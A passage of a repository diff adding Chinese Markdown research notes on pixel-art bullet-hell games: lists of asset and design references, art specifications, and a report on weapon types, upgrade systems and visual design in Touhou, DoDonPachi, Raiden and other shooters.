|
||||||
|
| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |
|
||||||
|
| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |
|
||||||
|
|
||||||
|
### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)
|
||||||
|
|
||||||
|
- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art
|
||||||
|
- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020
|
||||||
|
- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art
|
||||||
|
- **shmup 合集页**:https://opengameart.org/content/shmup
|
||||||
|
|
||||||
|
### 5.3 经典 STG 精灵分析与弹幕设计参考
|
||||||
|
|
||||||
|
- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox
|
||||||
|
- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets
|
||||||
|
- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon
|
||||||
|
- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html
|
||||||
|
- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101
|
||||||
|
- **Shmups Wiki 主站**:https://shmups.wiki
|
||||||
|
- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups
|
||||||
|
- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup
|
||||||
|
- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo
|
||||||
|
|
||||||
|
### 5.4 像素艺术风格指南(教程/博客)
|
||||||
|
|
||||||
|
- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design
|
||||||
|
- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2
|
||||||
|
- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions
|
||||||
|
- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles
|
||||||
|
- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)
|
||||||
|
- Piskel(免费在线像素编辑器):https://www.piskelapp.com
|
||||||
|
|
||||||
|
### 5.5 建议搜索关键词(继续深挖用)
|
||||||
|
|
||||||
|
`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 给本项目落地落实的美术规范建议(可直接执行)
|
||||||
|
|
||||||
|
1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。
|
||||||
|
2. **色板分工(建议)**:
|
||||||
|
- 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;
|
||||||
|
- 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;
|
||||||
|
- 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);
|
||||||
|
- 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;
|
||||||
|
- 爆炸:白→橙红黄→灰;
|
||||||
|
- 预警:蓄力时变亮/变红,激光先亮细线。
|
||||||
|
3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。
|
||||||
|
4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。
|
||||||
|
5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。
|
||||||
|
6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 信息来源与可信度说明
|
||||||
|
|
||||||
|
- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。
|
||||||
|
- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上"15 个美丽弹幕"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。
|
||||||
|
- **标注为"既有认知+"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。
|
||||||
|
- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。
|
||||||
295
website-design/exp/mock/file-weapon_research.md
Normal file
@ -0,0 +1,295 @@
|
|||||||
|
# 经典弹幕射击游戏(STG)武器系统调研报告
|
||||||
|
|
||||||
|
> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现
|
||||||
|
> 调研日期:2026-08-23
|
||||||
|
> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 目录
|
||||||
|
|
||||||
|
1. [概述](#1-概述)
|
||||||
|
2. [玩家武器类型分类](#2-玩家武器类型分类)
|
||||||
|
3. [武器升级系统](#3-武器升级系统)
|
||||||
|
4. [像素风格表现](#4-像素风格表现)
|
||||||
|
5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)
|
||||||
|
6. [参考资料](#6-参考资料)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 概述
|
||||||
|
|
||||||
|
弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:
|
||||||
|
|
||||||
|
1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;
|
||||||
|
2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;
|
||||||
|
3. **视觉语言**:武器是玩家在屏幕上"属于自己"的元素,必须与敌弹、背景清晰区分。
|
||||||
|
|
||||||
|
本报告以三条经典主线为调研对象:
|
||||||
|
|
||||||
|
- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)
|
||||||
|
- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)
|
||||||
|
- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)
|
||||||
|
- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充
|
||||||
|
|
||||||
|
> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于"散布型弹幕"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 玩家武器类型分类
|
||||||
|
|
||||||
|
### 2.1 散弹(Spread Shot)
|
||||||
|
|
||||||
|
**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。
|
||||||
|
|
||||||
|
| 游戏 | 例子 | 机制与视觉 |
|
||||||
|
|---|---|---|
|
||||||
|
| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |
|
||||||
|
| 怒首领蜂 | **Shot(点按 A 键)** | 标准"spread"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |
|
||||||
|
| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |
|
||||||
|
| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是"散布型弹幕"最经典的视觉形态之一 |
|
||||||
|
|
||||||
|
**设计要点**:散弹的关键是"扇面角度 + 弹丸数量 + 弹丸间距"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到"火力变强了"。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.2 集中射击(Focus Shot)
|
||||||
|
|
||||||
|
**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。
|
||||||
|
|
||||||
|
| 游戏 | 例子 | 机制与视觉 |
|
||||||
|
|---|---|---|
|
||||||
|
| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从"散开"变为"一束" |
|
||||||
|
| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把"集中"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |
|
||||||
|
| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |
|
||||||
|
|
||||||
|
**设计要点**:集中射击通常与"低速/精确操控"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示"伤害集中"。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.3 激光 / 光束武器(Laser)
|
||||||
|
|
||||||
|
**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。
|
||||||
|
|
||||||
|
| 游戏 | 例子 | 机制与视觉 |
|
||||||
|
|---|---|---|
|
||||||
|
| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |
|
||||||
|
| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |
|
||||||
|
| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有"非指向性激光"(按住时发射贯穿激光) |
|
||||||
|
|
||||||
|
**设计要点**:
|
||||||
|
- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;
|
||||||
|
- 激光与"机体周围光环"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示("你现在是激光模式");
|
||||||
|
- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.4 追踪弹 / 制导武器(Homing)
|
||||||
|
|
||||||
|
**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。
|
||||||
|
|
||||||
|
| 游戏 | 例子 | 机制与视觉 |
|
||||||
|
|---|---|---|
|
||||||
|
| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |
|
||||||
|
| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |
|
||||||
|
| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |
|
||||||
|
|
||||||
|
**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的"转弯/锁定"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的"引导火"。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.5 近战 / 环绕武器(Orbit / Force / Option)
|
||||||
|
|
||||||
|
**定义**:不(仅)发射弹丸,而是以"挂在自机上的物体"进行接触伤害、挡子弹,或跟随自机复制射击。
|
||||||
|
|
||||||
|
| 游戏 | 例子 | 机制与视觉 |
|
||||||
|
|---|---|---|
|
||||||
|
| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |
|
||||||
|
| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |
|
||||||
|
| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |
|
||||||
|
| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |
|
||||||
|
|
||||||
|
**设计要点**:环绕武器是最能体现"火力等级"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.6 蓄力射击(Charge Shot)
|
||||||
|
|
||||||
|
**定义**:按住射击键充能,松开时释放一发大威力"蓄力弹"。蓄力时间越长威力越大,通常带穿透/范围效果。
|
||||||
|
|
||||||
|
| 游戏 | 例子 | 机制与视觉 |
|
||||||
|
|---|---|---|
|
||||||
|
| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |
|
||||||
|
| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近"强化爆气"而非单体蓄力弹,见 3.5) |
|
||||||
|
|
||||||
|
**设计要点**:
|
||||||
|
- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;
|
||||||
|
- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化"这一发很重"的感觉。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)
|
||||||
|
|
||||||
|
**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家"资源管理"的核心。
|
||||||
|
|
||||||
|
| 游戏 | 例子 | 机制与视觉 |
|
||||||
|
|---|---|---|
|
||||||
|
| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |
|
||||||
|
| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |
|
||||||
|
| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |
|
||||||
|
| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |
|
||||||
|
|
||||||
|
**设计要点**:
|
||||||
|
- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让"屏幕瞬间被清理"的结果可视化;
|
||||||
|
- 东方把炸弹做成"符卡"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);
|
||||||
|
- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 武器升级系统
|
||||||
|
|
||||||
|
### 3.1 道具拾取升级(P 道具 / Power-Up)
|
||||||
|
|
||||||
|
几乎所有经典 STG 都用"拾取掉落道具→火力升级"的模式,区别在道具形态与上限设计:
|
||||||
|
|
||||||
|
| 游戏 | 道具 | 升级机制 |
|
||||||
|
|---|---|---|
|
||||||
|
| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |
|
||||||
|
| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |
|
||||||
|
| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |
|
||||||
|
|
||||||
|
**设计要点**:
|
||||||
|
- **同类拾取才升级**(雷电)制造"专注一系武器"的策略取舍;
|
||||||
|
- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以"捡回"部分火力,是容错设计;
|
||||||
|
- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。
|
||||||
|
|
||||||
|
### 3.2 多级别火力变化
|
||||||
|
|
||||||
|
- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是"逐级可读"的经典范例。
|
||||||
|
- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。
|
||||||
|
- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。
|
||||||
|
|
||||||
|
**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。
|
||||||
|
|
||||||
|
### 3.3 武器切换机制
|
||||||
|
|
||||||
|
| 游戏 | 切换方式 | 说明 |
|
||||||
|
|---|---|---|
|
||||||
|
| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示"散弹/集中"两种形态,一按即切换 |
|
||||||
|
| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是"模式选择"的鼻祖 |
|
||||||
|
| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |
|
||||||
|
| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——"选择顺序"本身就是策略 |
|
||||||
|
| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |
|
||||||
|
|
||||||
|
**设计要点**:
|
||||||
|
- 武器切换要么做成"一键瞬切"(东方 Shift、怒首领蜂按住),要么做成"有成本的选择"(雷电道具、Gradius 升级条);
|
||||||
|
- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。
|
||||||
|
|
||||||
|
### 3.4 东方 Project 的 Power 系统
|
||||||
|
|
||||||
|
- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。
|
||||||
|
- 表现载体变化:永夜抄以前"本体射出的子弹变多";风神录以后改为"增加射出的子机(Option)"——**火力可视化**。
|
||||||
|
- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成"用资源换保命"的抉择。
|
||||||
|
- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。
|
||||||
|
|
||||||
|
### 3.5 怒首领蜂的强化系统
|
||||||
|
|
||||||
|
1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。
|
||||||
|
2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。
|
||||||
|
3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:
|
||||||
|
- 全场敌弹消除 + 短暂无敌(80/120 帧);
|
||||||
|
- 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);
|
||||||
|
- 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;
|
||||||
|
- 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。
|
||||||
|
- 这是"用强化换难度"的经典设计——高回报高风险。
|
||||||
|
|
||||||
|
**设计要点**:怒首领蜂证明"武器强化"可以和"游戏难度自适应(Rank)"挂钩,让强力火力本身成为平衡杠杆。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 像素风格表现
|
||||||
|
|
||||||
|
### 4.1 子弹的像素美术设计(大小、形状、颜色)
|
||||||
|
|
||||||
|
综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:
|
||||||
|
|
||||||
|
- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。
|
||||||
|
- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。
|
||||||
|
- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。
|
||||||
|
- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。
|
||||||
|
- **闪烁**:两帧交替(闪白/闪亮)提升存在感与"危险感";但对比过强会让高速移动的子弹难追踪——需要在"醒目"与"可追踪"之间平衡。
|
||||||
|
- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹"活着"。
|
||||||
|
|
||||||
|
### 4.2 射击特效(muzzle flash、尾迹)
|
||||||
|
|
||||||
|
- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。
|
||||||
|
- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现"制导"性质;激光可加**束起点光晕**与**目标命中火花**。
|
||||||
|
- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气"快速膨胀、渐凉减速"的物理节奏是让爆炸可信的关键。
|
||||||
|
- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。
|
||||||
|
|
||||||
|
### 4.3 不同武器类型的视觉区分度
|
||||||
|
|
||||||
|
| 武器 | 视觉语言 | 举例 |
|
||||||
|
|---|---|---|
|
||||||
|
| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |
|
||||||
|
| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |
|
||||||
|
| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |
|
||||||
|
| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |
|
||||||
|
| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |
|
||||||
|
| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |
|
||||||
|
|
||||||
|
### 4.4 屏幕内大量子弹的辨识度设计
|
||||||
|
|
||||||
|
- **敌弹颜色编码**:用颜色区分"快弹/慢弹/装饰弹"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。
|
||||||
|
- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——"视觉大、判定小"是弹幕公平性的核心。
|
||||||
|
- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。
|
||||||
|
- **弹幕"缝隙设计"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——"玩家能看见可通行路径即为公平",装饰性子弹可以用低饱和/半透明表示"无威胁"。
|
||||||
|
- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家"读"弹幕密度。
|
||||||
|
- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 像素 STG 武器视觉设计建议(落地清单)
|
||||||
|
|
||||||
|
面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:
|
||||||
|
|
||||||
|
### A. 武器体系骨架
|
||||||
|
1. **每种武器 = 一种"火力形态"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。
|
||||||
|
2. **火力等级可视化**:每级变化做成"子机数量 / 弹丸数 / 散布角 / 光束宽度"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。
|
||||||
|
3. **掉落同系升级(或 P 通用)**:可选雷电"同色道具才升级"(策略取舍)或东方"P 通用道具"(上手简单),建议新手向用后者。
|
||||||
|
4. **炸弹做成"有名有相"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上"一键清屏"结果必须一帧可见。
|
||||||
|
5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造"成长风险"。
|
||||||
|
|
||||||
|
### B. 子弹与特效像素规范
|
||||||
|
6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。
|
||||||
|
